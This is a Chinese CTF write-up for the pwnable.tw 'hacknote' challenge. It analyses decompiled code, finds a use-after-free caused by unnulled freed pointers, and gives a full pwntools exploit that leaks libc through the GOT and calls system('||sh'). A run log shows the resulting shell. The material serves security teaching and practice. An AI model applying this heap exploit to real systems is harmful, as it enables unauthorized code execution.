hacknote(UAF)

来自https://pwnable.tw/challenge/的hacknote ,该题靶机的glibc版本是2.23。

源程序、相关文件下载:http://file.eonew.cn/ctf/pwn/hacknote.zip

程序的功能:

int print_menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

如上所示,程序主要提供了三个功能,增加笔记,删除笔记,输出笔记。

增加笔记:

unsigned int add_note()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( global_amount <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !ptr[i] )
      {
        ptr[i] = malloc(8u);
        if ( !ptr[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)ptr[i] = puts_4;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = ptr[i];
        v0[1] = malloc(size);
        if ( !*((_DWORD *)ptr[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)ptr[i] + 1), size);
        puts("Success !");
        ++global_amount;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

该程序向系统申请了两次内存,一次是固定的大小,一个是用户指定大小。

这里的的ptr的数据结构应该是很容易看出来的,就是下面这种结构:

typedef struct note
{
    void (* print)(note *);
    char *str;
}note;

note *ptr[5];

删除笔记

unsigned int delete_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= global_amount )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
  {
    free(*((void **)ptr[v1] + 1));
    free(ptr[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

该函数在free后并没有将指针设为NULL,可能存在UAF漏洞。

输出笔记

unsigned int print_node()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= global_amount )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( ptr[v1] )
    (*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);
  return __readgsdword(0x14u) ^ v3;
}

这里调用了note的print方法。

漏洞在哪呢?

global_amount仅仅在add_note的时候会自增,但是在delete_note的时候却没有自减,所以直接导致了UAF漏洞,具体方法是先在add_note时申请一块大内存,因为大内存释放后是不会放在fastbin的,然后在申请一块小内存,这样就会导致堆成链。

exploit思路

先创造出合适的fastbin环境,下面的方法就刚好塑造了3个fastbin,可以方便成链:

# 第一个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('160')
sh.recvuntil(':')
sh.sendline('nothing')

# 第二个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')
sh.recvuntil(':')
sh.sendline('nothing')

# 释放堆
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('1')

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')

然后再泄露libc的基地址,这里我直接将note->str指针指向了__libc_start_main的got地址:

# 再次申请
# 第一步打印__libc_start_main的地址
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

e = [
    0x804862B,  # _puts
    elf.got['__libc_start_main']
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

__libc_start_main_addr = u32(sh.recvuntil(':')[:4])
log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr))
libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_base_addr :' + hex(libc_base_addr))

在第二步之前,我们先来看看puts_4的代码:

int __cdecl puts_4(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

可以看出,这里的的参数有4字节的偏移,传入的应该是note指针,而并不是note->str指针,我在这里堵了好久,最后看了这位大佬的writeup(https://blog.csdn.net/qq_35429581/article/details/78231443 by Kdongdong)才懂的,可以用&&sh,||sh,;sh来绕过:

# 第二步getshell
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

# 在glibc-2.27中的system的最后一个字节为\x00
# 所以要向上偏移一条指令,用来防止\x00截断
# system_addr = libc.symbols['system'] + libc_base_addr - 4
system_addr = libc.symbols['system'] + libc_base_addr
log.success('system_addr: ' + hex(system_addr))
e = [
    system_addr,
    '||sh'
]
sh.recvuntil(':')
sh.sendline(flat(e))

综上所述,最终的脚本:

#! /usr/bin/python2
# -*- coding: utf-8 -*-

from pwn import *
import os

libc_file = '/lib/i386-linux-gnu/libc.so.6'
# libc_file = './libc_32.so.6'
libc = ELF(libc_file)
elf = ELF('./hacknote')

sh = process('./hacknote')
# context.log_level="debug"

# sh = remote('chall.pwnable.tw', 10102)

try:
    f = open('/tmp/pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()
except Exception as e:
    pass

# 第一个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('160')
sh.recvuntil(':')
sh.sendline('nothing')

# 第二个结构
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')
sh.recvuntil(':')
sh.sendline('nothing')

# 释放堆
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('1')

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('0')

# 再次申请
# 第一步打印__libc_start_main的地址
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

e = [
    0x804862B,  # _puts
    elf.got['__libc_start_main']
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

__libc_start_main_addr = u32(sh.recvuntil(':')[:4])
log.success('__libc_start_main_addr :' + hex(__libc_start_main_addr))
libc_base_addr = __libc_start_main_addr - libc.symbols['__libc_start_main']
log.success('libc_base_addr :' + hex(libc_base_addr))

# 释放堆
sh.sendline('2')
sh.recvuntil(':')
sh.sendline('2')

# 第二步getshell
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline('8')

# 在glibc-2.27中的system的最后一个字节为\x00
# 所以要向上偏移一条指令,用来防止\x00截断
# system_addr = libc.symbols['system'] + libc_base_addr - 4
system_addr = libc.symbols['system'] + libc_base_addr
log.success('system_addr: ' + hex(system_addr))
e = [
    system_addr,
    '||sh'
]
sh.recvuntil(':')
sh.sendline(flat(e))
sh.recvuntil(':')

sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline('1')

sh.interactive()

结果如下:

ex@Ex:~/test$ ./main.py 
[*] '/home/ex/test/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/ex/test/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
[+] Opening connection to chall.pwnable.tw on port 10102: Done
[+] __libc_start_main_addr :0xf75d3540
[+] libc_base_addr :0xf75bb000
[+] system_addr: 0xf75f5940
[*] Switching to interactive mode
$ id
uid=1000(hacknote) gid=1000(hacknote) groups=1000(hacknote)
$